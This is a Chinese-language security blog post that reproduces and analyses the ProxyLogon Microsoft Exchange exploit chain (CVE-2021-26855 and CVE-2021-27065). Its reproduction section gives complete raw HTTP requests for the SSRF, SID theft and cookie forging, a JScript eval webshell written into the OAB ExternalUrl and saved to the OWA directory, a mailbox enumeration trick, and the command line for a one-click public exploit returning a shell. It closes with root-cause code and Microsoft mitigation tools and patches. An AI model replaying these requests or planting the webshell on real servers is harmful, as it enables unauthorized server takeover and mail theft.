Microsoft Exchange漏洞分析二:ProxyLogon

原创
2023/03/05 23:38
阅读数 91
2021年3月份,微软公布了多个Microsoft Exchange的高危漏洞,通过组合利用CVE-2021–26855和CVE-2021–27065等等一系列漏洞(如图 所示)可以在未经身份验证的情况下远程获取服务器权限,这个攻击链被安全研究员Orange Tsai命名为ProxyLogon,当时有上千台Exchange服务器被植入了webshell后门;
CVE-2021-26855 是 Exchange 中的服务器端请求伪造 (SSRF) 漏洞,允许攻击者发送任意HTTP请求并以Exchange服务器身份进行身份验证;
CVE-2021-26857是统一消息服务中的不安全反序列化漏洞,利用此漏洞能够在 Exchange 服务器上以SYSTEM身份运行代码;
CVE-2021-26858是Exchange中的身份验证后任意文件写入漏洞,可以利用此漏洞将文件写入服务器上的任何路径;
CVE-2021-27065是Exchange中的身份验证后任意文件写入漏洞。可以利用此漏洞将文件写入服务器上的任何路径。
本节主要跟读者们分析复现CVE-2021–26855和CVE-2021–27065漏洞。
图 ProxyLogon

影响版本

Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012


漏洞复现

方法一:手工进行复现

ProxyLogon的整个攻击过程为利用SSRF漏洞访问内部资源,通过设置Cookie中的 X-BEResource字段内容为要访问的资源链接即可通过SSRF漏洞访问内部资源,利用过程如图 所示;
图 ProxyLogon利用过程
  1. 通过SSRF漏洞攻击,访问Autodiscover.xml获取LegacyDN信息
  2. 在通过LegacyDN,获取SID
  3. 然后通过合法的SID,获取exchange的有效Cookie
  4. 最后通过有效的Cookie,对OABVirtualDirectory对象进行恶意操作,写入Webshell,达到控制目标的效果


1. 获取Server name,访问目标/ecp/xx.jsWeb路径,从返回数据包中获取目标的计算机名,如图 所示;
图 获取目标的计算机名
2. 通过SSRF漏洞读取Autodiscover.xml文件,获取LegacyDN的值。Autodiscover(自动发现)是自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程,如果用户账户是域账户且当前位于域环境中,通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。Autodiscover.xml文件中包含有LegacyDN 的值,需要提供一个邮箱账户,然后通过ssrf访问后端功能获取到LegacyDN的值,如图 所示。
POST /ecp/ss.js HTTP/1.1
Host: 192.168.0.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=WIN-R7SC4CG092F/autodiscover/autodiscover.xml?a=~1942062522
Content-Type: text/xml
Content-Length: 371

   <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
       <Request>
         <EMailAddress>administrator@rd.com</EMailAddress>       <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
       </Request>
   </Autodiscover>
图 通过SSRF漏洞获取LegacyDN的值
其中:
a.url中的/ecp/target.js不是绝对的,可以是其他的路径/ecp/xxxxxxxx.png;
b.X-BEResource 用于代理请求,其原本格式应该是 [fqdn]~BackEndServerVersion,BackEndServerVersion需要大于1941962752;
c.WIN-R7SC4CG092F.rd.com:443 为目标地址;
d.LegacyDN:/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=86114682a4154dc2a67887830ff6c8b3-Admin;
需要注意的为<EMailAddress>的值需要为目标中存在的邮箱,如果当前的邮箱不存在的话,那么返回的错误500,如图 所示;
图 邮箱不存在返回的错误500
那么就可以通过利用这个SSRF来对邮箱用户进行爆破,如果返回了ErrorCode 500邮箱地址不存在的话就可以加以判断用户邮箱不存在。
3.通过向MAPI发送 HTTP 请求来获取目标用户的SID,请求代表计算机帐户用户转发到MAPI并导致访问错误,该错误返回数据包包含目标用户的SID。
POST /ecp/ss.js HTTP/1.1
Host: 192.168.0.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie:X-BEResource=Administrator@WIN-R7SC4CG092F.rd.com:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;
Content-Type: application/mapi-http
X-Requesttype: Connect
X-Clientinfo: {2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
X-Requestid: {E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456
Content-Length: 150


/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=86114682a4154dc2a67887830ff6c8b3-Admin"\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
图 获取目标用户的SID
图 获取目标用户的SID
4.在获得用户的 SID 后,可以冒充管理员身份向服务器发送特制的 POST 请求,从而在服务器上对自己进行身份验证来获取到Exchange的有效Cookie,这里需要获取两个值ASP.NET_SessionId和msExchEcpCanary这两个值,如图 所示;
图 获取ASP.NET_SessionId和 msExchEcpCanary
请求包含一个标头,该msExchLogonMailBox为进行身份验证的用户的SID值。POST请求的主体还包含该用户的SID,作为响应,服务器返回两个名为ASP.NET_SessionId,msExchEcpCanary的值。
5.最后通过构造有效的Cookie,获取RawIdentity的值:
POST /ecp/q1k11aa.js HTTP/1.1
Host: 192.168.0.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie:X-BEResource=Administrator@WIN-R7SC4CG092F.rd.com:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=ohQ0XL52hUGPQBvwBMrkMvQU_I9MB9sIHR4WVdwpwsz2S_-iaRML4hOggxwfFJhCCIL9jBIwO4A.&a=~1942062522;ASP.NET_SessionId=db04c074-239b-403a-95f8-3b727ee2322d;msExchEcpCanary=ohQ0XL52hUGPQBvwBMrkMvQU_I9MB9sIHR4WVdwpwsz2S_-iaRML4hOggxwfFJhCCIL9jBIwO4A.;
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 168


{"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}
图 获取RawIdentity的值
6.通过获取的RawIdentity值进行文件上传操作,ExternalUrl后面跟的为webshell的内容,如图 所示;
POST /ecp/q1k11aa.js HTTP/1.1
Host: 192.168.0.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie:X-BEResource=Administrator@WIN-R7SC4CG092F.rd.com:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=ohQ0XL52hUGPQBvwBMrkMvQU_I9MB9sIHR4WVdwpwsz2S_-iaRML4hOggxwfFJhCCIL9jBIwO4A.&a=~1942062522;ASP.NET_SessionId=db04c074-239b-403a-95f8-3b727ee2322d;msExchEcpCanary=ohQ0XL52hUGPQBvwBMrkMvQU_I9MB9sIHR4WVdwpwsz2S_-iaRML4hOggxwfFJhCCIL9jBIwO4A.;
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 399
{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "f53586c4-7444-43f2-b577-27b4c32a9be6"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"code\"],\"unsafe\");}</script> "}}}
图 上传webshell
7.保存Webshell到指定目录中,FilePathName值为自定义保存Webshell的目录和文件名,如图 所示;
POST /ecp/q1k11aa.js HTTP/1.1
Host: 192.168.0.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie:X-BEResource=Administrator@WIN-R7SC4CG092F.rd.com:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=ohQ0XL52hUGPQBvwBMrkMvQU_I9MB9sIHR4WVdwpwsz2S_-iaRML4hOggxwfFJhCCIL9jBIwO4A.&a=~1942062522;ASP.NET_SessionId=db04c074-239b-403a-95f8-3b727ee2322d;msExchEcpCanary=ohQ0XL52hUGPQBvwBMrkMvQU_I9MB9sIHR4WVdwpwsz2S_-iaRML4hOggxwfFJhCCIL9jBIwO4A.;
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 393


{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "f53586c4-7444-43f2-b577-27b4c32a9be6"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\BF2DmInPbRqNlrwT4CXo.aspx"}}}
图 保存Webshell
8.访问上传的Webshell,验证漏洞是否利用成功,如图 所示;
POST /owa/auth/BF2DmInPbRqNlrwT4CXo.aspx HTTP/1.1
Host: 192.168.0.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 0
图 访问上传Webshell

方法二:使用exchange-exp.py进行一键复现

Exchange-exp.py是安全研究员jeningogo在Github上公布的对ProxyLogon利用链基于Python语言开发的EXP,它可以自动进行攻击利用并返回一个交互式的shell。
使用方法:
Usage: python .\exchange-exp.py <target> <email>
Usage: python .\exchange-exp.py mail.exchange.cn administrator@exchange.cn
例如使用python .\exchange-exp.py 192.168.0.100 administrator@rd.com命令进行利用,成功返回shell,如图 所示;
图 漏洞利用成功
可以看到返回了一个交互式的shell,例如在这个交互式的shell上执行whomi /all命令,如图 所示。         
图 执行命令成功

漏洞原理

CVE-2021-26855 预授权 SSRF

CVE-2021–26855允许外部攻击者绕过MS Exchange身份验证机制并冒充任何用户。通过伪造服务器端请求,攻击者可以发送任意 HTTP 请求,该请求将被重定向到代表邮件服务器计算机帐户的另一个内部服务。要利用此漏洞,我们必须使用一个特殊的POST请求目录中的静态文件,该文件的目录要求无需身份验证即可读取但是不需要文件的存在,例如/ecp/x.js,然后POST请求通过设置Cookie中X-BEResource的字段来访问后端的服务。
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
BEResourceRequestHandler用于处理/ecp中通过IsResourceRequest检查的静态资源请求。此函数验证提供的URL是否以许多静态文件扩展名(例如js、jpg、ico、png、ttf等)之一结尾。由于此处理程序位于前端,因此不会验证完整的静态文件路径,因此将向此处理程序发送带有.js后缀的随机文件名。
同时BEResourceRequestHandler使用X-BEResource Cookie构建BackEndServer,将字符串拆分为“~”,“~”后面即为verison版本号,并将第一个元素分配给后端的“fqdn”,将第二个元素解析为整数版本,然后构建ServerInfoAnchorMailbox:
然后使用GetTargetBackEndServerUrl方法在静态资源处理程序中计算后端URL,该方法从静态资源处理程序中检索后端URL,并使用Cookie直接分配后端目标。前端代理首先使用“GetTargetBackendServerURL”方法来确定应将HTTP请求转发到哪个后端URL,我们需要注意BackEndServer.Version < Server.E15MinVersion时,ProxyToDownLevel设置为true,Port设置为443:
protected virtual Uri GetTargetBackEndServerUrl() {
    this.LogElapsedTime("E_TargetBEUrl");
    Uri result;
    try {
        UrlAnchorMailbox urlAnchorMailbox = this.AnchoredRoutingTarget.AnchorMailbox as UrlAnchorMailbox;
        if (urlAnchorMailbox != null) {
            result = urlAnchorMailbox.Url;
        } else {
            UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
            clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
            clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
            clientUrlForProxy.Port = 444;
            if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion) {
                this.ProxyToDownLevel = true;
                RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
                clientUrlForProxy.Port = 443;
            }
            result = clientUrlForProxy.Uri;
        }
    }
    finally {
        this.LogElapsedTime("L_TargetBEUrl");
    }
    return result;
}
HttpProxy\ProxyRequestHandler.cs
所以在漏洞利用的数据包中我们需要
此时,理论上,我们可以通过设置特定的头并将请求发送到/ecp中的“静态”文件来控制用于这些后端连接的主机。UriBuilder的ToString方法(用于构造 URI)对我们的输入执行简单的字符串连接(如图 所示)。因此,如果我们将 Host 设置为"example.org/api/endpoint/#",我们就可以有效地完全控制目标URL。
图 UriBuilder ToString方法
有了这些信息,我们就可以通过以下HTTP请求来演示SSRF了:
1.请求一个不存在的/ecp静态文件,这里是/iey8.js,如何在Cookie的X-BEResource值的字段来访问后端的服务,因为BEResourceRequestHandler使用X-BEResource Cookie构建BackEndServer,但是会返回500错误,如图 所示;
图 返回500错误
2.在EcpProxyRequestHandler.AddDownLevelProxyHeaders方法中,可以通过修改Cookie中的服务器版本来防止GetTargetBackEndServerUrl设置此值。如果版本高于Server.E15MinVersion,则ProxyToDownLevel保持为false。通过此更改,我们成功地向后端服务(自动发现服务)进行了身份验证,如图 所示。
图 成功向后端服务身份验证

CVE-2021-27065 授权后任意文件写入

在Exchange服务器上依次打开“管理中心”“服务器” “虚拟目录”“OAB虚拟目录”,如图 所示;
图 OAB虚拟目录
由于外部URL的内容可控,所以可在URL写入一句话木马(其中URL必须以http开头,以保持外部URL参数的合法性),内容为“http://ffff/#<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"code\"],\"unsafe\");}</script> ”,如图 所示;
图 URL写入一句话木马
之后可以通过重置虚拟目录,来把配置内容写入指定的路径,这里写入为“\\127.0.0.1\c$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\BF2DmInPbRqNlrwT4CXo.aspx”,直接写入Exchange Server的Web目录,如图 所示。
图 写入指定的路径
从数据包中可以看到请求的路径为“/ecp/DDI/DDIService.svc/*”,第一个数据包主要作用是获取OAB的RawIdentity值,如下图所示;
图 获取OAB的RawIdentity值
第二个数据包主要作用是控制外部URL的内容,这里是写入我们的木马,第一个数据包获取OAB的RawIdentity值用在这里,如图 所示;
图 写入木马
第三个数据包为设置木马的路径,如下图 所示。
图 设置木马的路径

修复建议

针对上述漏洞,微软发布了一款工具,用于帮助用户检测Exchange是否被黑客利用相关漏洞入侵。链接如下:https://github.com/microsoft/CSS-Exchange/tree/main/Security
脚本
描述
EOMT.ps1
通过 URL 重写配置缓解 CVE-2021-26855
ExchangeMitigations.ps1
该脚本包含4个缓解措施,以帮助解决以下漏洞:cve-2021-26855、cve-2021-26857、cve-2021-27065、cve-2021-26858
http-vuln-cve2021-26855.nse
nmap扫描脚本,检测指定URL是否存在CVE-2021-26855漏洞
Test-ProxyLogon.ps1
该脚本检查CVE-2021-26855、26858、26857和27065漏洞是否存在被利用的迹象
安装微软提供的漏洞补丁,相关漏洞补丁如下:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065

广告

有需要红队培训请私聊我。

本文分享自微信公众号 - 黑白天实验室(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

展开阅读全文
加载中
点击引领话题📣 发布并加入讨论🔥
0 评论
0 收藏
0
分享
返回顶部
顶部